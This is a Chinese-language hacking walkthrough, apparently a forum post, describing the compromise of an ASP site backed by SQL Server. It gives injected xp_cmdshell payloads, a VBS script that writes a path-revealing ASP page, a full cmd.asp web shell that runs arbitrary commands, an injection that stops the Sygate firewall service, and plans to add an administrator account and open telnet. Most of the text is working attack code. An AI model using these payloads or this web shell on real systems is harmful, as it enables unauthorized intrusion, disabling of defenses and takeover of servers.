Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)/mingce/student1.asp, 第 30 行
if request.form("xsxm")="" and request.form("xsxh")="" then
Set Conn=Server.CreateObject("ADODB.Connection")
Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx")
我的思路:
1)找到web目录的路径
2)写入一个简单的cmd.asp用来找到防火墙的具体名字
3)通过xp_cmdshell来关闭防火墙服务
第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧
.....xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs';--
.....xp_cmdshell 'echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs';--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)
fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>"
---------------cut here--------------------------------------
执行:http://x.x.x.x/dd.asp
返回:\xxx
--------------------------cmd.asp------------------------------
<%On Error Resume Next
Set oScript = Server.CreateObject(""WSCRIPT.SHELL"")
Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"")
Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"")
szCMD = Request.Form("".CMD"")
If (szCMD <> """")Then
szTempFile = ""C:\" & oFileSys.GetTempName()
Call oScript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><FORM action=""<%= Request.ServerVariables(""URL"")%>"" method=""POST"">
<input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run"">
</FORM><PRE>
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML>
-----------------------cut here--------------------------------
a';exec master..xp_cmdshell 'net stop smcservice';--
(smcservice是sygate防火墙的服务名)
第七步:看一看成功了吗?用x-scan扫,现在就对了三53,139,135,1433......都出来了
第八步:添加系统管理员打开telnet............